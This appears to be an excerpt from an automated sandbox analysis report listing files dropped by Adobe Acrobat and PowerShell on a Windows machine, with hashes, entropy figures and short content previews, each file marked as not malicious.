Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.655086953496045
Encrypted:	false
SSDEEP:	24:Yv6X/CJhAamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSa:YvECJhGBgkDMUJUAh8cvMa
MD5:	CBCFFB6FDFE351BA2228BAE83876218B
SHA1:	2DCBD37CAFA98D2FBAE76741B597D855E866729E
SHA-256:	B18F5A63EB353E9A80AF81873FC38E89707C6DB3AF815D43FF643CBF067D84E3
SHA-512:	15C99283AC72FAD44E948FE84B59F8F09EAA580E7CAA1B3906B4BBBAF2B5F8C3F7C8C7F957F57E05D7EFFCE9E19B3B0EA90487822CB1FC57A14F65A9ACA3D258
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b5c30eea-30ce-466b-986c-b3b7322ee910","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736701796046,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.221127263698384
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTrVEUKvB3/dVlPIHAR0YMoAvJfshHHrPeUkwRe9:YvXKX/VEUKvR/ZwHATGUUUkee9
MD5:	A636704D741DD0F2829CEACB6967D62A
SHA1:	D4E1FDFE79E82AD0CC335BF7E159749F51BD61A6
SHA-256:	F2CB3133CFB375065C59C4B3D202E95D2E521F86C577383CABFB4C649799B5CD
SHA-512:	CFC4F9C9B223479A17CC14E135BC7AA8F50C633E6CB5939E8DA8C38A66F3C05F33B7C8FEF5CF24CD6A14139713D6709FC5D7E07E06A6549A43F3D47BFA4C9616
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b5c30eea-30ce-466b-986c-b3b7322ee910","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736701796046,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.238147550688465
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTrVEUKvB3/dVlPIHAR0YMoAvJTqgFCrPeUkwRe9:YvXKX/VEUKvR/ZwHATGTq16Ukee9
MD5:	77B65E7E66231B1B5912B1625051CBED
SHA1:	1BC009419CC3EB8112110D3E20E3787D0D751893
SHA-256:	9E5A55B069C1B32BB0C6D00871BD47F27739A22F1A30597929A832FCD2799D44
SHA-512:	FC6A9371CEC3B82C3F7BDD90AC37DFCB61F5877AF276F9D5F7F6638D53526E3F0C285F5FB3B08A8FDBBC996C3E171BAD582F4C9A06515FE1EBCBF78ECFD97A91
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b5c30eea-30ce-466b-986c-b3b7322ee910","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736701796046,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.137337248928045
Encrypted:	false
SSDEEP:	48:YJV9Xbwd4Z/7vuvGbrMldpSt+iHhc2JGZhEC9BSO3:eGW/D+oQEhGn0C
MD5:	6D012E72C46AFD7D40D89C5C1C999395
SHA1:	E1BC7B59469B48BC74A0695725A21395539CC90F
SHA-256:	5800A49B5F3E9524E9206B7A49CC4813F8D1831326B2FA346D847385B70BA257
SHA-512:	0B61EE9E10CCAFA9F5B2BA793DF251ABA661E8030FB6372C94A86EFB4F510BFCC21D1359EDE43E1ABCAD8171D6AA131AA584D4776905EB263C0B051C9EC102A0
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"f373db0e101bb2d774115a339589c1cf","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736526295000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"85ff126599691e1673c956aa6381175a","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736526295000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"13fa6d265353153b2e75d8ff799b229e","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736526295000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"4d22d640a6f07fae29f5c2c4d744c0de","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736526295000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"51053dd022f8af9a0a8dc9a5a32c386a","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736526295000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"b212630f2696e24656fcebab86e23aad","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3177334730428798
Encrypted:	false
SSDEEP:	48:TGufl2GL7ms9WR1CPmPbPahs1gItypilIK1gIF:lNVms9WfMwbPahs2Itr2IF
MD5:	0EEEC43B62913B453BE557826C627F86
SHA1:	84B9651AC9BB7F035FE7D2FD873506FC9842E352
SHA-256:	87200C77C4A75A5FE86045F23253C55B5717D75826A615B314479267E4B9DDDF
SHA-512:	D15E91496C7D2E3455759853F680BBCA7B29148C036733B9FCB9E976CF0BA8C11E06B679BBF98FDB39FA05AAC82EF820560CFC21A682E05459F49650813EDC69
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7786634783455888
Encrypted:	false
SSDEEP:	48:7MoWR1CPmPbPahs1gI4ypilIiqFl2GL7msqk:7dWfMwbPahs2I4LKVmsqk
MD5:	458B69E0AE8EA47B36DEBF9FCB1A782D
SHA1:	D3EF6CE424BAC77C4600D35823A30B8D9BDC6F62
SHA-256:	D38194919B6B08594DFA378B439B6074B580360CBD9AD9A2BABEECEF7EB04A18
SHA-512:	A8A0E3ECD165E697545BF80E5C7E76D39AB7B3F92F2C20801ABE7EC45FDAD70FCF7D563E63B04FB4F95B3AEC6F90F772D8346587DD71EB5989683E2C75C2CD41
Malicious:	false
Preview:	.... .c......M............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgqsG6XwKMc+Th6RZ4cwsijA+9k5lYyu:6a6TZ44ADEqsjXwrcC9jAPlK
MD5:	67695309B0A6DBB8CF50C28DC7F2C4E2
SHA1:	CFC72542F2DAEC8EF0334596B9810668E26523EE
SHA-256:	1AF0E3A2A49BFE9CBFB6635D8F5082B51C7CB848DB4A6D31EE18A1AB345E9EB8
SHA-512:	B817E5193E1067F682E5ECF322C6C79EF71BA45AB838BCAE04F0AE26365E6ABD5AF28E15B9FE1B161C9388C955EDF03CDDFD6AEC6F303BF308B37B2B501ED0D2
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:Nlllulhhf/z:NllU
MD5:	B283C769D040651AA26FFE7F1296E297
SHA1:	F4B1D91D58C72B439EA4CA55A3E75F5F53A117E5
SHA-256:	97677EADF7A2FB6F27A32BAA73C5471A5BA31702A36509AB9FEB478448B2D837
SHA-512:	9114535C2EA58850D30DFA7552F420FBAB32FBFD999B0CAC0B8CB050F27EF65FE5BC3749E78B35A2C489561571B5452182197A51DC2B82ADC6DD70D94BEA03D7
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIa8d48.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5085442896850614
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEKe:Qw946cPbiOxDlbYnuRK+bD7
MD5:	C4A07F04FA92C774374B4A7ED35E890E
SHA1:	C5335DB10147FB2FAE333FA15992BC0E92739F58
SHA-256:	F400AFE81883AB857243FA2F6B389723A7F9F3766557ACE0C1AE75BAA6294049
SHA-512:	3799A23D5EF38DB41D9BF9ACEE41C3AF9698725ED586BE7E3FBD454AAB855E0BBACFBB474B13B0F48CF08E727D2D5AD2746BE7032709A80D9AB25EE07C3D9B27
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.1.:.2.4.:.5.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e30a3eyj.2po.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nzyzgaih.2ig.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 11-24-49-242.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3626029147470184
Encrypted:	false
SSDEEP:	384:Gt5c5p4QyUTLGkbxlRKhgqpEkXMoCkEMv0FjXjxjZjiaHBVTu6ASsMbRpuxuDyx+:/5ZB
MD5:	74069765A6BC5A77CA95FCA4DBFD789C
SHA1:	F0F17789973274ED0FCA9F45DC7248F1D3E7B31F
SHA-256:	3149A33E9ECDD500975E9FC5EBB2DEA3DF15F9156F8B8B7A37DFB18C75B2EA03
SHA-512:	E19C2FFDB2E2C77832E6C5576B6C3962B8FB285ABFE60609B79F7967BF688E339C0FC516E4C1180E0FB82C9B7732EFA923C8DDCAFA38E77092848A8C9B4AAE93
Malicious:	false
Preview:	SessionID=b7ffeb34-a382-4d5e-840d-59dd465280d7.1736526289258 Timestamp=2025-01-10T11:24:49:258-0500 ThreadID=7532 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=b7ffeb34-a382-4d5e-840d-59dd465280d7.1736526289258 Timestamp=2025-01-10T11:24:49:259-0500 ThreadID=7532 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=b7ffeb34-a382-4d5e-840d-59dd465280d7.1736526289258 Timestamp=2025-01-10T11:24:49:259-0500 ThreadID=7532 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=b7ffeb34-a382-4d5e-840d-59dd465280d7.1736526289258 Timestamp=2025-01-10T11:24:49:259-0500 ThreadID=7532 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=b7ffeb34-a382-4d5e-840d-59dd465280d7.1736526289258 Timestamp=2025-01-10T11:24:49:259-0500 ThreadID=7532 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.40515085265213
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbmIcbCIMAcbZ:ceo4+rsCoxM3
MD5:	5EF38E230508DBEDCBE770EA6528F5C4
SHA1:	E785751ADD3D69A9172E334C82C53F497FBD9627
SHA-256:	D24AB1F6C7A774AFE8D95CF123649AE41827A8FF6E57E3EC7F39DC3B611875A2
SHA-512:	D87527632E3CD89FB85B68E58EE5429124E0E2EAADE268EB45816D5BFE6CE6D835F7F2D1DD55DF229D17E0A3E3035EABCB74D70DA64A5563975B43407426CB55
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0d8a3ab9-1929-4d51-9451-2d2711221ac1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\1ce43bcd-546b-43fc-8747-18fb48c07555.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\c68c2f88-aae1-40b0-8151-b7bc7ec1848b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\c83f84a2-98ef-4f97-aeb4-43bbf6381659.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/gW8ZwYIGNPB07oYGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:4W8ZwZGbxYGZn3mlind9i4ufFXpAXkru
MD5:	CE6C2A8BCD4BB6551A15D0C266B4EE06
SHA1:	B75FBCFC15568638BBC06F877439FA96DCB09E07
SHA-256:	82705A9BB65F9BEA25AD9912A45926470BDA1CD49858E142634D8E7436CFC97E
SHA-512:	FA44F6210BC5E0F6AF127654CC4DC15AC1CE8A2F5B5BA2181A4CF17BAEDC3CEA14BBDD496D78CB8FADAA92F05ECDF17AAD65946500109DD4501A7BA24A3E6F60
Malicious:	false
